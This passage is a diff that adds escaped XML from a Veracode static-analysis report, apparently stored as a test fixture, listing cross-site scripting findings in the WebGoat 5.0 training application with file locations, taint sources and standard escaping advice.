+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"4\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"172\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"260\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"48\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"80\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"170\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"29\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"172\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"205\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"174\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"85\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"178\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"59\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"124\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"180\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"101\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getRestartLink().
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"194\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"90\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printParameters.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"212\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"73\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"16\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
